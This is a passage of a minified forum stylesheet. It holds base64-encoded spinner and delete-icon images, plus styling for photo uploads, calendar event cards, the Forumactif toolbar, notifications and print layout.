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);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:35% auto auto;width:30px}.EV_UploadPhoto #EV_main_img div.progress:before{margin-top:25%}.EV_UploadPhoto .EV_Delete{background-color:rgba(248,248,248,0.8);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAAChyAAAocgF7isG5AAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAKHSURBVHja5Js7TiNBEEDfFBMiX4AbcJ6VVhaBRW5xCI6AyBGBZSE5ItjTbLLBXsAiZOUN3IOGAYb5VHVXQSeWLLvc73mmu6ZLVf0+pztOgJ/AFVABt8AWeCbWqIFr4BL4A9wAD8C/9oeqjoAT4B646ATbActAEur0p/3ovL8BVm0JMgCeFGibAkeFJ7HdJ9ZXAvrgI0nog39XQj0Qvi0Bp7fDEPi2BIBVnRa8ixE/5FHCGPi2hF+SVvuxw9PtMAW+GVeStjqCSpgDD1BJ2ucJKGEuPMCtpCC7YBI04HfAVtJCtgwkQQt+CTw3eUAUCarw3UzQuwR1+K4AzxJM4N8T4FGCGfxHAjxJMIXvE+BBgjn8ZwJKSsgCP0RACQnZ4IcKyCkhK/wYATkkZIcfK8BSQhF4Jq7OjQRmTLj53mV6vSsBD29PhXNvU/v0uigBP/UK0LwS5oDPhp+yBlisCcXgNQSUkqBWqBGlCeWUoFqlEsWJ5ZCgXqIT5QlaSjCpT4rBRC0kmBVn5+QBn41T4K/CVrcHzoAni0kK33xYCahTertQiLVIseooAjRSZI1DlSICLOBNJUgQeDMJEgjeRIIEg1eXIAHhVSVIYfh961CkiAQpCL9LGd4ZBStQXio2WmeMo58XxAG81gPUpCtBHMAXlSBO4ItJEEfwRSSIM/jsEsQhfFYJ4hQ+mwRxDJ9FgjiHN5cgAeBNJUgQeDMJdSD4rgSVZ4c6BYsCry3hUYB1MHjN22EtwCEgvJaEg3DsqIwIryHhRji2k26Cws+RsAEehGMb6WqgBM8ttGMkvLTQNnnAEAkR+oeHSHjVP9zOBPskRGqe7pPwpnm6+uLt88u0zR/4oH3+/wDcuzyspCSUCwAAAABJRU5ErkJggg==);background-position:center;background-repeat:no-repeat;background-size:85%;bottom:2px;cursor:pointer;height:20px;position:absolute;right:2px;width:20px}.EV_UploadPhoto .EV_Delete.hidden{display:none}#ui-datepicker-div.ui-widget{font-size:1rem}img.emojione{width:20px}.social_btn{text-align:center}.social_btn.no_center{text-align:initial}.social_btn > div{display:inline-block;margin:5px;vertical-align:middle}.calendar_overview_event{background-color:#f0f0f0;box-shadow:0 0 9px rgba(0,0,0,03), 0 0 1px 1px rgba(0,0,0,02);box-sizing:border-box;font-size:12px;height:200px;padding:15px 10px;width:350px}.header_overview_event p{height:30px;line-height:30px}.header_overview_event div > span:first-child{color:#00acba;float:left;font-size:14px;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:60%}.header_overview_event div > span:last-child{float:right;text-align:right;width:39%}.img_overview_event{float:left;width:39%}.img_overview_event img{display:block;height:100px;margin:0 auto;width:100px}.desc_overview_event{float:right;overflow-wrap:break-word;width:60%}.uppercase{text-transform:uppercase}.text-justify{text-align:justify}.fa_toolbar_XL_Sized{min-width:980px;width:100%}.fa_toolbar_L_Sized{min-width:774px}.fa_toolbar_M_Sized{min-width:519px}#fa_toolbar{background-color:#FFF;color:#FFF;font-family:Helvetica, Verdana, Arial;font-size:16px;height:30px;left:0;z-index:20002}#fa_toolbar :link,#fa_toolbar :visited{color:#FFF;text-decoration:none}#fa_toolbar a:hover{text-decoration:underline}#fa_toolbar a:active,#fa_toolbar a:hover,#fa_toolbar a:link,#fa_toolbar a:visited{border:none}#fa_show,.fa_tbMainElement,.fa_tbMainElement a{display:inline-block!important;vertical-align:middle}#fa_toolbar #fa_icon{background-image:url(https://illiweb.com/fa/i/toolbar/pa0.png);background-repeat:no-repeat;background-size:30px;display:inline-block!important;height:30px;visibility:visible!important;width:30px}#fa_toolbar #fa_fb,#fa_toolbar #fa_gp,#fa_toolbar #fa_hide,#fa_toolbar #fa_magnifier,#fa_toolbar #fa_mail,#fa_toolbar #fa_rss,#fa_toolbar #fa_twitter,#fa_toolbar_hidden #fa_show{background-image:url(https://illiweb.com/fa/i/toolbar/toolbar.png);cursor:pointer;height:30px;width:30px}#fa_left{display:inline-block!important;height:auto!important;line-height:30px!important;visibility:visible!important;width:auto!important}#fa_icon,#fa_toolbar #fa_service{color:#39C}#fa_toolbar #fa_service{display:inline-block!important;text-decoration:none!important;visibility:visible!important}#fa_toolbar #fa_service:hover[href]{text-decoration:underline!important}#fa_search{height:30px;margin-left:20px}#fa_search form{display:inline;margin:0;padding:0}#fa_search #fa_magnifier{background-position:-30px 0;position:absolute}#fa_search #fa_textarea{border:0;border-radius:5px;height:24px;line-height:24px;margin-top:3px;padding:0;text-indent:30px!important;width:200px}#fa_share{font-size:16px;line-height:30px!important;margin-left:20px}#fa_share_text{color:#39C;cursor:default;text-decoration:none!important}#fa_fb{background-position:-60px 0;margin-left:10px}#fa_twitter{background-position:-90px 0}#fa_gp{background-position:-120px 0}#fa_mail{background-position:-150px 0}#fa_rss{background-position:-180px 0}#fa_right{float:right;font-size:14px}#fa_right a.rightHeaderLink{color:#39C;line-height:30px;margin-left:10px;vertical-align:top}#fa_right span.rightHeaderLink{color:#39C;display:inline-block;line-height:30px;margin-left:1px;vertical-align:top}#fa_right #fa_notifications,#fa_welcome{color:#39C;line-height:30px;padding:0 5px}#fa_hide{background-position:-210px 0}#fa_menu{display:inline-block}#fa_right #fa_welcome:hover,#fa_toolbar #fa_right #fa_notifications:hover{cursor:pointer}#fa_right #fa_menu #fa_welcome,#fa_right.notification #fa_menu #fa_welcome{color:#39C}#fa_right #fa_menu ul,#fa_right.notification #fa_menu ul{display:none}#fa_right.welcome #fa_menu #fa_welcome{background-color:#fff;color:#333}#fa_right.welcome #fa_menu ul{display:block}#fa_menu:hover :visited,#fa_toolbar > #fa_right.notification > #fa_notifications{background-color:#FFF;color:#333}#fa_toolbar #fa_right .fa_separator{background-color:#CCC;height:1px;margin:0;padding:0;text-align:center;width:90%}#fa_menulist{background-color:#FFF;border:1px solid #333;border-top:0 solid #FFF;display:none;line-height:32px;list-style-type:none;margin:0;min-width:175px;padding:0 10px 0 150px;position:absolute;width:auto;z-index:10000}#fa_menulist :link,#fa_menulist :visited{color:#00569C!important}#fa_toolbar_hidden{background-color:#FFF;border-radius:0 0 5px 5px;height:30px;margin-top:-60px;position:absolute;right:0;width:30px;z-index:20002}#fa_show{background-position:-240px 0}#fa_toolbar #fa_right #fa_notifications #notif_unread{display:none;margin-left:.5em}#fa_toolbar #fa_right #fa_notifications.unread #notif_unread{display:inline}#fa_toolbar #fa_right #notif_list{background-color:#FFF;border:1px solid #333;border-top:0 solid #FFF;display:none;font-size:11px;list-style-type:none;margin:0;padding:0;position:absolute;z-index:10000}#fa_toolbar #fa_right.notification #notif_list{display:block}#fa_toolbar #fa_right #notif_list li{color:#333;display:block;font-size:1em;line-height:1.2em;margin:0;padding:0 .5em .5em}#fa_toolbar #fa_right #notif_list li .contentText{float:left;height:2.4em;overflow:hidden;width:27em}#fa_toolbar #fa_right #notif_list li .contentText a{color:#00569C!important;text-decoration:underline!important;vertical-align:baseline}#fa_toolbar #fa_right #notif_list li:first-child{padding-top:.5em}#fa_toolbar #fa_right #notif_list li:first-child hr{display:none}#fa_toolbar #fa_right #notif_list li .content{color:inherit!important;display:block;line-height:inherit!important;margin:0;overflow:hidden;vertical-align:top;width:30em}#fa_toolbar #fa_right #notif_list li a.delete{background:transparent url(https://illiweb.com/fa/i/toolbar/toolbar.png) no-repeat -274px 50%;float:right;height:2.4em;width:22px}#fa_toolbar #fa_right #notif_list li hr{border:0 solid #ccc;border-top-width:1px;margin:0 0 .5em}#fa_toolbar #fa_right #notif_list li.unread{background-color:#e5e5e5;font-weight:700}#fa_toolbar #fa_right #notif_list li.see_all{background-color:#333;color:#fff;padding:.7em!important;text-align:right}#fa_toolbar #fa_right #notif_list li.see_all a{color:#fff;width:100%}#fa_toolbar #live_notif{position:absolute;width:330px}#fa_toolbar #live_notif .fa_notification{background-color:#333;border-radius:5px;opacity:.8;padding:10px}#fa_toolbar #live_notif .fa_notification .content{background-image:url(https://illiweb.com/fa/notifications/notifications.png);background-repeat:no-repeat;color:#fff;display:inline-block;font-size:11px;height:32px;overflow:hidden;padding-left:40px}#fa_toolbar #live_notif .fa_notification a{text-decoration:underline!important;vertical-align:baseline}.fa_fix{position:fixed!important;right:0;top:0}#fa_toolbar .fa_hide{display:none!important}#fa_usermenu{color:#333;font-size:12px;left:0;padding:10px 20px 10px 10px;position:absolute;text-align:center;width:120px}#fa_ranktitle{overflow:hidden;text-align:center;text-overflow:ellipsis;white-space:nowrap;width:120px}#fa_ranktitle:hover{color:#333;text-decoration:none!important}#fa_usermenu td{line-height:15px;margin-bottom:5px;padding:0}#fa_usermenu td.first{text-align:right}#fa_usermenu td.bold{font-weight:700;text-align:left}#fa_usermenu img{max-height:120px;max-width:120px;width:120px}@media print{*{background-color:#fff;background-image:none;color:#000}body{font-size:10pt;margin:0;padding:0}body#phpbb div#wrap{margin:0;width:85%}span.corners-bottom,span.corners-top{display:none}#wrap #logo-desc img,#wrap #logo-desc p,div#page-header div.navbar,div#page-header div.navbar ul.linklist{display:none!important}#wrap div.headerbar{border-bottom:1px solid #ccc;margin:0}#wrap div#page-body h2{border-bottom:1px solid #ccc;font-weight:bolder;margin-bottom:1em}#wrap div#page-body .left-box,#wrap div#page-body .pagination,#wrap div#page-body div.topic-actions,#wrap div.post .right,#wrap div.postbody div.signature,#wrap div.postbody img,#wrap div.postbody ul.profile-icons,#wrap dl.postprofile{display:none!important;float:none}#wrap dl.postprofile{float:none}#wrap div.postbody .online{background-image:none}#wrap div.postbody{width:auto}#wrap div.postbody h3{font-size:10pt}#wrap div.postbody p.author{border-bottom:1px dashed #ccc;width:100%}#wrap div#page-body div.post{border-top:3px double #ccc;padding:0 0 2em}div.postbody{float:none;width:100%}#wrap div#page-body div.post .content{overflow:visible}div.noprint{display:none}}.fa-ajax-panel.fa-ajax-topic-move option[value=f31],.fa-ajax-panel.fa-ajax-topic-move 